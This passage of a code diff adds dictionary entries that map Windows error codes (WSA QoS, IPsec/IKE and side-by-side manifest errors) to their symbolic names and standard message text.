+        0x00002b03: ("WSA_QOS_POLICY_FAILURE", "Rejected for administrative reasons - bad credentials."),
+        0x00002b04: ("WSA_QOS_BAD_STYLE", "Unknown or conflicting style."),
+        0x00002b05: ("WSA_QOS_BAD_OBJECT", "Problem with some part of the filterspec or providerspecific buffer in general."),
+        0x00002b06: ("WSA_QOS_TRAFFIC_CTRL_ERROR", "Problem with some part of the flowspec."),
+        0x00002b07: ("WSA_QOS_GENERIC_ERROR", "General QOS error."),
+        0x00002b08: ("WSA_QOS_ESERVICETYPE", "An invalid or unrecognized service type was found in the flowspec."),
+        0x00002b09: ("WSA_QOS_EFLOWSPEC", "An invalid or inconsistent flowspec was found in the QOS structure."),
+        0x00002b0a: ("WSA_QOS_EPROVSPECBUF", "Invalid QOS provider-specific buffer."),
+        0x00002b0b: ("WSA_QOS_EFILTERSTYLE", "An invalid QOS filter style was used."),
+        0x00002b0c: ("WSA_QOS_EFILTERTYPE", "An invalid QOS filter type was used."),
+        0x00002b0d: ("WSA_QOS_EFILTERCOUNT", "An incorrect number of QOS FILTERSPECs were specified in the FLOWDESCRIPTOR."),
+        0x00002b0e: ("WSA_QOS_EOBJLENGTH", "An object with an invalid ObjectLength field was specified in the QOS provider-specific buffer."),
+        0x00002b0f: ("WSA_QOS_EFLOWCOUNT", "An incorrect number of flow descriptors was specified in the QOS structure."),
+        0x00002b10: ("WSA_QOS_EUNKOWNPSOBJ", "An unrecognized object was found in the QOS provider-specific buffer."),
+        0x00002b11: ("WSA_QOS_EPOLICYOBJ", "An invalid policy object was found in the QOS provider-specific buffer."),
+        0x00002b12: ("WSA_QOS_EFLOWDESC", "An invalid QOS flow descriptor was found in the flow descriptor list."),
+        0x00002b13: ("WSA_QOS_EPSFLOWSPEC", "An invalid or inconsistent flowspec was found in the QOS provider specific buffer."),
+        0x00002b14: ("WSA_QOS_EPSFILTERSPEC", "An invalid FILTERSPEC was found in the QOS provider-specific buffer."),
+        0x00002b15: ("WSA_QOS_ESDMODEOBJ", "An invalid shape discard mode object was found in the QOS provider specific buffer."),
+        0x00002b16: ("WSA_QOS_ESHAPERATEOBJ", "An invalid shaping rate object was found in the QOS provider-specific buffer."),
+        0x00002b17: ("WSA_QOS_RESERVED_PETYPE", "A reserved policy element was found in the QOS provider-specific buffer."),
+        0x00002b18: ("WSA_SECURE_HOST_NOT_FOUND", "No such host is known securely."),
+        0x00002b19: ("WSA_IPSEC_NAME_POLICY_ERROR", "Name based IPSEC policy could not be added."),
+        0x000032c8: ("ERROR_IPSEC_QM_POLICY_EXISTS", "The specified quick mode policy already exists."),
+        0x000032c9: ("ERROR_IPSEC_QM_POLICY_NOT_FOUND", "The specified quick mode policy was not found."),
+        0x000032ca: ("ERROR_IPSEC_QM_POLICY_IN_USE", "The specified quick mode policy is being used."),
+        0x000032cb: ("ERROR_IPSEC_MM_POLICY_EXISTS", "The specified main mode policy already exists."),
+        0x000032cc: ("ERROR_IPSEC_MM_POLICY_NOT_FOUND", "The specified main mode policy was not found"),
+        0x000032cd: ("ERROR_IPSEC_MM_POLICY_IN_USE", "The specified main mode policy is being used."),
+        0x000032ce: ("ERROR_IPSEC_MM_FILTER_EXISTS", "The specified main mode filter already exists."),
+        0x000032cf: ("ERROR_IPSEC_MM_FILTER_NOT_FOUND", "The specified main mode filter was not found."),
+        0x000032d0: ("ERROR_IPSEC_TRANSPORT_FILTER_EXISTS", "The specified transport mode filter already exists."),
+        0x000032d1: ("ERROR_IPSEC_TRANSPORT_FILTER_NOT_FOUND", "The specified transport mode filter does not exist."),
+        0x000032d2: ("ERROR_IPSEC_MM_AUTH_EXISTS", "The specified main mode authentication list exists."),
+        0x000032d3: ("ERROR_IPSEC_MM_AUTH_NOT_FOUND", "The specified main mode authentication list was not found."),
+        0x000032d4: ("ERROR_IPSEC_MM_AUTH_IN_USE", "The specified main mode authentication list is being used."),
+        0x000032d5: ("ERROR_IPSEC_DEFAULT_MM_POLICY_NOT_FOUND", "The specified default main mode policy was not found."),
+        0x000032d6: ("ERROR_IPSEC_DEFAULT_MM_AUTH_NOT_FOUND", "The specified default main mode authentication list was not found."),
+        0x000032d7: ("ERROR_IPSEC_DEFAULT_QM_POLICY_NOT_FOUND", "The specified default quick mode policy was not found."),
+        0x000032d8: ("ERROR_IPSEC_TUNNEL_FILTER_EXISTS", "The specified tunnel mode filter exists."),
+        0x000032d9: ("ERROR_IPSEC_TUNNEL_FILTER_NOT_FOUND", "The specified tunnel mode filter was not found."),
+        0x000032da: ("ERROR_IPSEC_MM_FILTER_PENDING_DELETION", "The Main Mode filter is pending deletion."),
+        0x000032db: ("ERROR_IPSEC_TRANSPORT_FILTER_PENDING_DELETION", "The transport filter is pending deletion."),
+        0x000032dc: ("ERROR_IPSEC_TUNNEL_FILTER_PENDING_DELETION", "The tunnel filter is pending deletion."),
+        0x000032dd: ("ERROR_IPSEC_MM_POLICY_PENDING_DELETION", "The Main Mode policy is pending deletion."),
+        0x000032de: ("ERROR_IPSEC_MM_AUTH_PENDING_DELETION", "The Main Mode authentication bundle is pending deletion."),
+        0x000032df: ("ERROR_IPSEC_QM_POLICY_PENDING_DELETION", "The Quick Mode policy is pending deletion."),
+        0x000032e0: ("WARNING_IPSEC_MM_POLICY_PRUNED", "The Main Mode policy was successfully added, but some of the requested offers are not supported."),
+        0x000032e1: ("WARNING_IPSEC_QM_POLICY_PRUNED", "The Quick Mode policy was successfully added, but some of the requested offers are not supported."),
+        0x000035e8: ("ERROR_IPSEC_IKE_NEG_STATUS_BEGIN", " ERROR_IPSEC_IKE_NEG_STATUS_BEGIN"),
+        0x000035e9: ("ERROR_IPSEC_IKE_AUTH_FAIL", "IKE authentication credentials are unacceptable"),
+        0x000035ea: ("ERROR_IPSEC_IKE_ATTRIB_FAIL", "IKE security attributes are unacceptable"),
+        0x000035eb: ("ERROR_IPSEC_IKE_NEGOTIATION_PENDING", "IKE Negotiation in progress"),
+        0x000035ec: ("ERROR_IPSEC_IKE_GENERAL_PROCESSING_ERROR", "General processing error"),
+        0x000035ed: ("ERROR_IPSEC_IKE_TIMED_OUT", "Negotiation timed out"),
+        0x000035ee: ("ERROR_IPSEC_IKE_NO_CERT", "IKE failed to find valid machine certificate. Contact your Network Security Administrator about installing a valid certificate in the appropriate Certificate Store."),
+        0x000035ef: ("ERROR_IPSEC_IKE_SA_DELETED", "IKE SA deleted by peer before establishment completed"),
+        0x000035f0: ("ERROR_IPSEC_IKE_SA_REAPED", "IKE SA deleted before establishment completed"),
+        0x000035f1: ("ERROR_IPSEC_IKE_MM_ACQUIRE_DROP", "Negotiation request sat in Queue too long"),
+        0x000035f2: ("ERROR_IPSEC_IKE_QM_ACQUIRE_DROP", "Negotiation request sat in Queue too long"),
+        0x000035f3: ("ERROR_IPSEC_IKE_QUEUE_DROP_MM", "Negotiation request sat in Queue too long"),
+        0x000035f4: ("ERROR_IPSEC_IKE_QUEUE_DROP_NO_MM", "Negotiation request sat in Queue too long"),
+        0x000035f5: ("ERROR_IPSEC_IKE_DROP_NO_RESPONSE", "No response from peer"),
+        0x000035f6: ("ERROR_IPSEC_IKE_MM_DELAY_DROP", "Negotiation took too long"),
+        0x000035f7: ("ERROR_IPSEC_IKE_QM_DELAY_DROP", "Negotiation took too long"),
+        0x000035f8: ("ERROR_IPSEC_IKE_ERROR", "Unknown error occurred"),
+        0x000035f9: ("ERROR_IPSEC_IKE_CRL_FAILED", "Certificate Revocation Check failed"),
+        0x000035fa: ("ERROR_IPSEC_IKE_INVALID_KEY_USAGE", "Invalid certificate key usage"),
+        0x000035fb: ("ERROR_IPSEC_IKE_INVALID_CERT_TYPE", "Invalid certificate type"),
+        0x000035fc: ("ERROR_IPSEC_IKE_NO_PRIVATE_KEY", "IKE negotiation failed because the machine certificate used does not have a private key. IPsec certificates require a private key. Contact your Network Security administrator about replacing with a certificate that has a private key."),
+        0x000035fd: ("ERROR_IPSEC_IKE_SIMULTANEOUS_REKEY", "Simultaneous rekeys were detected."),
+        0x000035fe: ("ERROR_IPSEC_IKE_DH_FAIL", "Failure in Diffie-Hellman computation"),
+        0x000035ff: ("ERROR_IPSEC_IKE_CRITICAL_PAYLOAD_NOT_RECOGNIZED", "Don't know how to process critical payload"),
+        0x00003600: ("ERROR_IPSEC_IKE_INVALID_HEADER", "Invalid header"),
+        0x00003601: ("ERROR_IPSEC_IKE_NO_POLICY", "No policy configured"),
+        0x00003602: ("ERROR_IPSEC_IKE_INVALID_SIGNATURE", "Failed to verify signature"),
+        0x00003603: ("ERROR_IPSEC_IKE_KERBEROS_ERROR", "Failed to authenticate using Kerberos"),
+        0x00003604: ("ERROR_IPSEC_IKE_NO_PUBLIC_KEY", "Peer's certificate did not have a public key"),
+        0x00003605: ("ERROR_IPSEC_IKE_PROCESS_ERR", "Error processing error payload"),
+        0x00003606: ("ERROR_IPSEC_IKE_PROCESS_ERR_SA", "Error processing SA payload"),
+        0x00003607: ("ERROR_IPSEC_IKE_PROCESS_ERR_PROP", "Error processing Proposal payload"),
+        0x00003608: ("ERROR_IPSEC_IKE_PROCESS_ERR_TRANS", "Error processing Transform payload"),
+        0x00003609: ("ERROR_IPSEC_IKE_PROCESS_ERR_KE", "Error processing KE payload"),
+        0x0000360a: ("ERROR_IPSEC_IKE_PROCESS_ERR_ID", "Error processing ID payload"),
+        0x0000360b: ("ERROR_IPSEC_IKE_PROCESS_ERR_CERT", "Error processing Cert payload"),
+        0x0000360c: ("ERROR_IPSEC_IKE_PROCESS_ERR_CERT_REQ", "Error processing Certificate Request payload"),
+        0x0000360d: ("ERROR_IPSEC_IKE_PROCESS_ERR_HASH", "Error processing Hash payload"),
+        0x0000360e: ("ERROR_IPSEC_IKE_PROCESS_ERR_SIG", "Error processing Signature payload"),
+        0x0000360f: ("ERROR_IPSEC_IKE_PROCESS_ERR_NONCE", "Error processing Nonce payload"),
+        0x00003610: ("ERROR_IPSEC_IKE_PROCESS_ERR_NOTIFY", "Error processing Notify payload"),
+        0x00003611: ("ERROR_IPSEC_IKE_PROCESS_ERR_DELETE", "Error processing Delete Payload"),
+        0x00003612: ("ERROR_IPSEC_IKE_PROCESS_ERR_VENDOR", "Error processing VendorId payload"),
+        0x00003613: ("ERROR_IPSEC_IKE_INVALID_PAYLOAD", "Invalid payload received"),
+        0x00003614: ("ERROR_IPSEC_IKE_LOAD_SOFT_SA", "Soft SA loaded"),
+        0x00003615: ("ERROR_IPSEC_IKE_SOFT_SA_TORN_DOWN", "Soft SA torn down"),
+        0x00003616: ("ERROR_IPSEC_IKE_INVALID_COOKIE", "Invalid cookie received."),
+        0x00003617: ("ERROR_IPSEC_IKE_NO_PEER_CERT", "Peer failed to send valid machine certificate"),
+        0x00003618: ("ERROR_IPSEC_IKE_PEER_CRL_FAILED", "Certification Revocation check of peer's certificate failed"),
+        0x00003619: ("ERROR_IPSEC_IKE_POLICY_CHANGE", "New policy invalidated SAs formed with old policy"),
+        0x0000361a: ("ERROR_IPSEC_IKE_NO_MM_POLICY", "There is no available Main Mode IKE policy."),
+        0x0000361b: ("ERROR_IPSEC_IKE_NOTCBPRIV", "Failed to enabled TCB privilege."),
+        0x0000361c: ("ERROR_IPSEC_IKE_SECLOADFAIL", "Failed to load SECURITY.DLL."),
+        0x0000361d: ("ERROR_IPSEC_IKE_FAILSSPINIT", "Failed to obtain security function table dispatch address from SSPI."),
+        0x0000361e: ("ERROR_IPSEC_IKE_FAILQUERYSSP", "Failed to query Kerberos package to obtain max token size."),
+        0x0000361f: ("ERROR_IPSEC_IKE_SRVACQFAIL", "Failed to obtain Kerberos server credentials for ISAKMP/ERROR_IPSEC_IKE service. Kerberos authentication will not function. The most likely reason for this is lack of domain membership. This is normal if your computer is a member of a workgroup."),
+        0x00003620: ("ERROR_IPSEC_IKE_SRVQUERYCRED", "Failed to determine SSPI principal name for ISAKMP/ERROR_IPSEC_IKE service (QueryCredentialsAttributes)."),
+        0x00003621: ("ERROR_IPSEC_IKE_GETSPIFAIL", "Failed to obtain new SPI for the inbound SA from IPsec driver. The most common cause for this is that the driver does not have the correct filter. Check your policy to verify the filters."),
+        0x00003622: ("ERROR_IPSEC_IKE_INVALID_FILTER", "Given filter is invalid"),
+        0x00003623: ("ERROR_IPSEC_IKE_OUT_OF_MEMORY", "Memory allocation failed."),
+        0x00003624: ("ERROR_IPSEC_IKE_ADD_UPDATE_KEY_FAILED", "Failed to add Security Association to IPsec Driver. The most common cause for this is if the IKE negotiation took too long to complete. If the problem persists, reduce the load on the faulting machine."),
+        0x00003625: ("ERROR_IPSEC_IKE_INVALID_POLICY", "Invalid policy"),
+        0x00003626: ("ERROR_IPSEC_IKE_UNKNOWN_DOI", "Invalid DOI"),
+        0x00003627: ("ERROR_IPSEC_IKE_INVALID_SITUATION", "Invalid situation"),
+        0x00003628: ("ERROR_IPSEC_IKE_DH_FAILURE", "Diffie-Hellman failure"),
+        0x00003629: ("ERROR_IPSEC_IKE_INVALID_GROUP", "Invalid Diffie-Hellman group"),
+        0x0000362a: ("ERROR_IPSEC_IKE_ENCRYPT", "Error encrypting payload"),
+        0x0000362b: ("ERROR_IPSEC_IKE_DECRYPT", "Error decrypting payload"),
+        0x0000362c: ("ERROR_IPSEC_IKE_POLICY_MATCH", "Policy match error"),
+        0x0000362d: ("ERROR_IPSEC_IKE_UNSUPPORTED_ID", "Unsupported ID"),
+        0x0000362e: ("ERROR_IPSEC_IKE_INVALID_HASH", "Hash verification failed"),
+        0x0000362f: ("ERROR_IPSEC_IKE_INVALID_HASH_ALG", "Invalid hash algorithm"),
+        0x00003630: ("ERROR_IPSEC_IKE_INVALID_HASH_SIZE", "Invalid hash size"),
+        0x00003631: ("ERROR_IPSEC_IKE_INVALID_ENCRYPT_ALG", "Invalid encryption algorithm"),
+        0x00003632: ("ERROR_IPSEC_IKE_INVALID_AUTH_ALG", "Invalid authentication algorithm"),
+        0x00003633: ("ERROR_IPSEC_IKE_INVALID_SIG", "Invalid certificate signature"),
+        0x00003634: ("ERROR_IPSEC_IKE_LOAD_FAILED", "Load failed"),
+        0x00003635: ("ERROR_IPSEC_IKE_RPC_DELETE", "Deleted via RPC call"),
+        0x00003636: ("ERROR_IPSEC_IKE_BENIGN_REINIT", "Temporary state created to perform reinitialization. This is not a real failure."),
+        0x00003637: ("ERROR_IPSEC_IKE_INVALID_RESPONDER_LIFETIME_NOTIFY", "The lifetime value received in the Responder Lifetime Notify is below the Windows 2000 configured minimum value. Please fix the policy on the peer machine."),
+        0x00003638: ("ERROR_IPSEC_IKE_INVALID_MAJOR_VERSION", "The recipient cannot handle version of IKE specified in the header."),
+        0x00003639: ("ERROR_IPSEC_IKE_INVALID_CERT_KEYLEN", "Key length in certificate is too small for configured security requirements."),
+        0x0000363a: ("ERROR_IPSEC_IKE_MM_LIMIT", "Max number of established MM SAs to peer exceeded."),
+        0x0000363b: ("ERROR_IPSEC_IKE_NEGOTIATION_DISABLED", "IKE received a policy that disables negotiation."),
+        0x0000363c: ("ERROR_IPSEC_IKE_QM_LIMIT", "Reached maximum quick mode limit for the main mode. New main mode will be started."),
+        0x0000363d: ("ERROR_IPSEC_IKE_MM_EXPIRED", "Main mode SA lifetime expired or peer sent a main mode delete."),
+        0x0000363e: ("ERROR_IPSEC_IKE_PEER_MM_ASSUMED_INVALID", "Main mode SA assumed to be invalid because peer stopped responding."),
+        0x0000363f: ("ERROR_IPSEC_IKE_CERT_CHAIN_POLICY_MISMATCH", "Certificate doesn't chain to a trusted root in IPsec policy."),
+        0x00003640: ("ERROR_IPSEC_IKE_UNEXPECTED_MESSAGE_ID", "Received unexpected message ID."),
+        0x00003641: ("ERROR_IPSEC_IKE_INVALID_AUTH_PAYLOAD", "Received invalid authentication offers."),
+        0x00003642: ("ERROR_IPSEC_IKE_DOS_COOKIE_SENT", "Sent DoS cookie notify to initiator."),
+        0x00003643: ("ERROR_IPSEC_IKE_SHUTTING_DOWN", "IKE service is shutting down."),
+        0x00003644: ("ERROR_IPSEC_IKE_CGA_AUTH_FAILED", "Could not verify binding between CGA address and certificate."),
+        0x00003645: ("ERROR_IPSEC_IKE_PROCESS_ERR_NATOA", "Error processing NatOA payload."),
+        0x00003646: ("ERROR_IPSEC_IKE_INVALID_MM_FOR_QM", "Parameters of the main mode are invalid for this quick mode."),
+        0x00003647: ("ERROR_IPSEC_IKE_QM_EXPIRED", "Quick mode SA was expired by IPsec driver."),
+        0x00003648: ("ERROR_IPSEC_IKE_TOO_MANY_FILTERS", "Too many dynamically added IKEEXT filters were detected."),
+        0x00003649: ("ERROR_IPSEC_IKE_NEG_STATUS_END", " ERROR_IPSEC_IKE_NEG_STATUS_END"),
+        0x0000364a: ("ERROR_IPSEC_IKE_KILL_DUMMY_NAP_TUNNEL", "NAP reauth succeeded and must delete the dummy NAP IKEv2 tunnel."),
+        0x0000364b: ("ERROR_IPSEC_IKE_INNER_IP_ASSIGNMENT_FAILURE", "Error in assigning inner IP address to initiator in tunnel mode."),
+        0x0000364c: ("ERROR_IPSEC_IKE_REQUIRE_CP_PAYLOAD_MISSING", "Require configuration payload missing."),
+        0x0000364d: ("ERROR_IPSEC_KEY_MODULE_IMPERSONATION_NEGOTIATION_PENDING", "A negotiation running as the security principle who issued the connection is in progress"),
+        0x0000364e: ("ERROR_IPSEC_IKE_COEXISTENCE_SUPPRESS", "SA was deleted due to IKEv1/AuthIP co-existence suppress check."),
+        0x0000364f: ("ERROR_IPSEC_IKE_RATELIMIT_DROP", "Incoming SA request was dropped due to peer IP address rate limiting."),
+        0x00003650: ("ERROR_IPSEC_IKE_PEER_DOESNT_SUPPORT_MOBIKE", "Peer does not support MOBIKE."),
+        0x00003651: ("ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE", "SA establishment is not authorized."),
+        0x00003652: ("ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_FAILURE", "SA establishment is not authorized because there is not a sufficiently strong PKINIT-based credential."),
+        0x00003653: ("ERROR_IPSEC_IKE_AUTHORIZATION_FAILURE_WITH_OPTIONAL_RETRY", "SA establishment is not authorized.  You may need to enter updated or different credentials such as a smartcard."),
+        0x00003654: ("ERROR_IPSEC_IKE_STRONG_CRED_AUTHORIZATION_AND_CERTMAP_FAILURE", "SA establishment is not authorized because there is not a sufficiently strong PKINIT-based credential. This might be related to certificate-to-account mapping failure for the SA."),
+        0x00003655: ("ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END", " ERROR_IPSEC_IKE_NEG_STATUS_EXTENDED_END"),
+        0x00003656: ("ERROR_IPSEC_BAD_SPI", "The SPI in the packet does not match a valid IPsec SA."),
+        0x00003657: ("ERROR_IPSEC_SA_LIFETIME_EXPIRED", "Packet was received on an IPsec SA whose lifetime has expired."),
+        0x00003658: ("ERROR_IPSEC_WRONG_SA", "Packet was received on an IPsec SA that does not match the packet characteristics."),
+        0x00003659: ("ERROR_IPSEC_REPLAY_CHECK_FAILED", "Packet sequence number replay check failed."),
+        0x0000365a: ("ERROR_IPSEC_INVALID_PACKET", "IPsec header and/or trailer in the packet is invalid."),
+        0x0000365b: ("ERROR_IPSEC_INTEGRITY_CHECK_FAILED", "IPsec integrity check failed."),
+        0x0000365c: ("ERROR_IPSEC_CLEAR_TEXT_DROP", "IPsec dropped a clear text packet."),
+        0x0000365d: ("ERROR_IPSEC_AUTH_FIREWALL_DROP", "IPsec dropped an incoming ESP packet in authenticated firewall mode. This drop is benign."),
+        0x0000365e: ("ERROR_IPSEC_THROTTLE_DROP", "IPsec dropped a packet due to DoS throttling."),
+        0x00003665: ("ERROR_IPSEC_DOSP_BLOCK", "IPsec DoS Protection matched an explicit block rule."),
+        0x00003666: ("ERROR_IPSEC_DOSP_RECEIVED_MULTICAST", "IPsec DoS Protection received an IPsec specific multicast packet which is not allowed."),
+        0x00003667: ("ERROR_IPSEC_DOSP_INVALID_PACKET", "IPsec DoS Protection received an incorrectly formatted packet."),
+        0x00003668: ("ERROR_IPSEC_DOSP_STATE_LOOKUP_FAILED", "IPsec DoS Protection failed to look up state."),
+        0x00003669: ("ERROR_IPSEC_DOSP_MAX_ENTRIES", "IPsec DoS Protection failed to create state because the maximum number of entries allowed by policy has been reached."),
+        0x0000366a: ("ERROR_IPSEC_DOSP_KEYMOD_NOT_ALLOWED", "IPsec DoS Protection received an IPsec negotiation packet for a keying module which is not allowed by policy."),
+        0x0000366b: ("ERROR_IPSEC_DOSP_NOT_INSTALLED", "IPsec DoS Protection has not been enabled."),
+        0x0000366c: ("ERROR_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES", "IPsec DoS Protection failed to create a per internal IP rate limit queue because the maximum number of queues allowed by policy has been reached."),
+        0x000036b0: ("ERROR_SXS_SECTION_NOT_FOUND", "The requested section was not present in the activation context."),
+        0x000036b1: ("ERROR_SXS_CANT_GEN_ACTCTX", "The application has failed to start because its side-by-side configuration is incorrect. Please see the application event log or use the command-line sxstrace.exe tool for more detail."),
+        0x000036b2: ("ERROR_SXS_INVALID_ACTCTXDATA_FORMAT", "The application binding data format is invalid."),
+        0x000036b3: ("ERROR_SXS_ASSEMBLY_NOT_FOUND", "The referenced assembly is not installed on your system."),
+        0x000036b4: ("ERROR_SXS_MANIFEST_FORMAT_ERROR", "The manifest file does not begin with the required tag and format information."),
+        0x000036b5: ("ERROR_SXS_MANIFEST_PARSE_ERROR", "The manifest file contains one or more syntax errors."),
+        0x000036b6: ("ERROR_SXS_ACTIVATION_CONTEXT_DISABLED", "The application attempted to activate a disabled activation context."),
+        0x000036b7: ("ERROR_SXS_KEY_NOT_FOUND", "The requested lookup key was not found in any active activation context."),
+        0x000036b8: ("ERROR_SXS_VERSION_CONFLICT", "A component version required by the application conflicts with another component version already active."),
+        0x000036b9: ("ERROR_SXS_WRONG_SECTION_TYPE", "The type requested activation context section does not match the query API used."),
+        0x000036ba: ("ERROR_SXS_THREAD_QUERIES_DISABLED", "Lack of system resources has required isolated activation to be disabled for the current thread of execution."),
+        0x000036bb: ("ERROR_SXS_PROCESS_DEFAULT_ALREADY_SET", "An attempt to set the process default activation context failed because the process default activation context was already set."),
+        0x000036bc: ("ERROR_SXS_UNKNOWN_ENCODING_GROUP", "The encoding group identifier specified is not recognized."),
+        0x000036bd: ("ERROR_SXS_UNKNOWN_ENCODING", "The encoding requested is not recognized."),
+        0x000036be: ("ERROR_SXS_INVALID_XML_NAMESPACE_URI", "The manifest contains a reference to an invalid URI."),
+        0x000036bf: ("ERROR_SXS_ROOT_MANIFEST_DEPENDENCY_NOT_INSTALLED", "The application manifest contains a reference to a dependent assembly which is not installed"),
+        0x000036c0: ("ERROR_SXS_LEAF_MANIFEST_DEPENDENCY_NOT_INSTALLED", "The manifest for an assembly used by the application has a reference to a dependent assembly which is not installed"),
+        0x000036c1: ("ERROR_SXS_INVALID_ASSEMBLY_IDENTITY_ATTRIBUTE", "The manifest contains an attribute for the assembly identity which is not valid."),
+        0x000036c2: ("ERROR_SXS_MANIFEST_MISSING_REQUIRED_DEFAULT_NAMESPACE", "The manifest is missing the required default namespace specification on the assembly element."),
+        0x000036c3: ("ERROR_SXS_MANIFEST_INVALID_REQUIRED_DEFAULT_NAMESPACE", "The manifest has a default namespace specified on the assembly element but its value is not 'urn:schemas-microsoft-com:asm.v1'."),
+        0x000036c4: ("ERROR_SXS_PRIVATE_MANIFEST_CROSS_PATH_WITH_REPARSE_POINT", "The private manifest probed has crossed a path with an unsupported reparse point."),
+        0x000036c5: ("ERROR_SXS_DUPLICATE_DLL_NAME", "Two or more components referenced directly or indirectly by the application manifest have files by the same name."),
+        0x000036c6: ("ERROR_SXS_DUPLICATE_WINDOWCLASS_NAME", "Two or more components referenced directly or indirectly by the application manifest have window classes with the same name."),
+        0x000036c7: ("ERROR_SXS_DUPLICATE_CLSID", "Two or more components referenced directly or indirectly by the application manifest have the same COM server CLSIDs."),
+        0x000036c8: ("ERROR_SXS_DUPLICATE_IID", "Two or more components referenced directly or indirectly by the application manifest have proxies for the same COM interface IIDs."),
+        0x000036c9: ("ERROR_SXS_DUPLICATE_TLBID", "Two or more components referenced directly or indirectly by the application manifest have the same COM type library TLBIDs."),
+        0x000036ca: ("ERROR_SXS_DUPLICATE_PROGID", "Two or more components referenced directly or indirectly by the application manifest have the same COM ProgIDs."),
+        0x000036cb: ("ERROR_SXS_DUPLICATE_ASSEMBLY_NAME", "Two or more components referenced directly or indirectly by the application manifest are different versions of the same component which is not permitted."),
+        0x000036cc: ("ERROR_SXS_FILE_HASH_MISMATCH", "A component's file does not match the verification information present in the component manifest."),
+        0x000036cd: ("ERROR_SXS_POLICY_PARSE_ERROR", "The policy manifest contains one or more syntax errors."),
+        0x000036ce: ("ERROR_SXS_XML_E_MISSINGQUOTE", "Manifest Parse Error : A string literal was expected, but no opening quote character was found."),
+        0x000036cf: ("ERROR_SXS_XML_E_COMMENTSYNTAX", "Manifest Parse Error : Incorrect syntax was used in a comment."),
+        0x000036d0: ("ERROR_SXS_XML_E_BADSTARTNAMECHAR", "Manifest Parse Error : A name was started with an invalid character."),
+        0x000036d1: ("ERROR_SXS_XML_E_BADNAMECHAR", "Manifest Parse Error : A name contained an invalid character."),
+        0x000036d2: ("ERROR_SXS_XML_E_BADCHARINSTRING", "Manifest Parse Error : A string literal contained an invalid character."),
+        0x000036d3: ("ERROR_SXS_XML_E_XMLDECLSYNTAX", "Manifest Parse Error : Invalid syntax for an xml declaration."),
+        0x000036d4: ("ERROR_SXS_XML_E_BADCHARDATA", "Manifest Parse Error : An Invalid character was found in text content."),
+        0x000036d5: ("ERROR_SXS_XML_E_MISSINGWHITESPACE", "Manifest Parse Error : Required white space was missing."),
+        0x000036d6: ("ERROR_SXS_XML_E_EXPECTINGTAGEND", "Manifest Parse Error : The character '>' was expected."),
+        0x000036d7: ("ERROR_SXS_XML_E_MISSINGSEMICOLON", "Manifest Parse Error : A semi colon character was expected."),
+        0x000036d8: ("ERROR_SXS_XML_E_UNBALANCEDPAREN", "Manifest Parse Error : Unbalanced parentheses."),
+        0x000036d9: ("ERROR_SXS_XML_E_INTERNALERROR", "Manifest Parse Error : Internal error."),
+        0x000036da: ("ERROR_SXS_XML_E_UNEXPECTED_WHITESPACE", "Manifest Parse Error : Whitespace is not allowed at this location."),
+        0x000036db: ("ERROR_SXS_XML_E_INCOMPLETE_ENCODING", "Manifest Parse Error : End of file reached in invalid state for current encoding."),
+        0x000036dc: ("ERROR_SXS_XML_E_MISSING_PAREN", "Manifest Parse Error : Missing parenthesis."),
+        0x000036dd: ("ERROR_SXS_XML_E_EXPECTINGCLOSEQUOTE", "Manifest Parse Error : A single or double closing quote character (\' or \") is missing."),
+        0x000036de: ("ERROR_SXS_XML_E_MULTIPLE_COLONS", "Manifest Parse Error : Multiple colons are not allowed in a name."),
+        0x000036df: ("ERROR_SXS_XML_E_INVALID_DECIMAL", "Manifest Parse Error : Invalid character for decimal digit."),
+        0x000036e0: ("ERROR_SXS_XML_E_INVALID_HEXIDECIMAL", "Manifest Parse Error : Invalid character for hexadecimal digit."),
+        0x000036e1: ("ERROR_SXS_XML_E_INVALID_UNICODE", "Manifest Parse Error : Invalid unicode character value for this platform."),
+        0x000036e2: ("ERROR_SXS_XML_E_WHITESPACEORQUESTIONMARK", "Manifest Parse Error : Expecting whitespace or '?'."),
+        0x000036e3: ("ERROR_SXS_XML_E_UNEXPECTEDENDTAG", "Manifest Parse Error : End tag was not expected at this location."),
+        0x000036e4: ("ERROR_SXS_XML_E_UNCLOSEDTAG", "Manifest Parse Error : The following tags were not closed: %1."),
+        0x000036e5: ("ERROR_SXS_XML_E_DUPLICATEATTRIBUTE", "Manifest Parse Error : Duplicate attribute."),
+        0x000036e6: ("ERROR_SXS_XML_E_MULTIPLEROOTS", "Manifest Parse Error : Only one top level element is allowed in an XML document."),
+        0x000036e7: ("ERROR_SXS_XML_E_INVALIDATROOTLEVEL", "Manifest Parse Error : Invalid at the top level of the document."),
+        0x000036e8: ("ERROR_SXS_XML_E_BADXMLDECL", "Manifest Parse Error : Invalid xml declaration."),
+        0x000036e9: ("ERROR_SXS_XML_E_MISSINGROOT", "Manifest Parse Error : XML document must have a top level element."),
+        0x000036ea: ("ERROR_SXS_XML_E_UNEXPECTEDEOF", "Manifest Parse Error : Unexpected end of file."),
+        0x000036eb: ("ERROR_SXS_XML_E_BADPEREFINSUBSET", "Manifest Parse Error : Parameter entities cannot be used inside markup declarations in an internal subset."),
+        0x000036ec: ("ERROR_SXS_XML_E_UNCLOSEDSTARTTAG", "Manifest Parse Error : Element was not closed."),
+        0x000036ed: ("ERROR_SXS_XML_E_UNCLOSEDENDTAG", "Manifest Parse Error : End element was missing the character '>'."),
+        0x000036ee: ("ERROR_SXS_XML_E_UNCLOSEDSTRING", "Manifest Parse Error : A string literal was not closed."),
+        0x000036ef: ("ERROR_SXS_XML_E_UNCLOSEDCOMMENT", "Manifest Parse Error : A comment was not closed."),
+        0x000036f0: ("ERROR_SXS_XML_E_UNCLOSEDDECL", "Manifest Parse Error : A declaration was not closed."),
+        0x000036f1: ("ERROR_SXS_XML_E_UNCLOSEDCDATA", "Manifest Parse Error : A CDATA section was not closed."),
+        0x000036f2: ("ERROR_SXS_XML_E_RESERVEDNAMESPACE", "Manifest Parse Error : The namespace prefix is not allowed to start with the reserved string 'xml'."),
+        0x000036f3: ("ERROR_SXS_XML_E_INVALIDENCODING", "Manifest Parse Error : System does not support the specified encoding."),
+        0x000036f4: ("ERROR_SXS_XML_E_INVALIDSWITCH", "Manifest Parse Error : Switch from current encoding to specified encoding not supported."),
+        0x000036f5: ("ERROR_SXS_XML_E_BADXMLCASE", "Manifest Parse Error : The name 'xml' is reserved and must be lower case."),
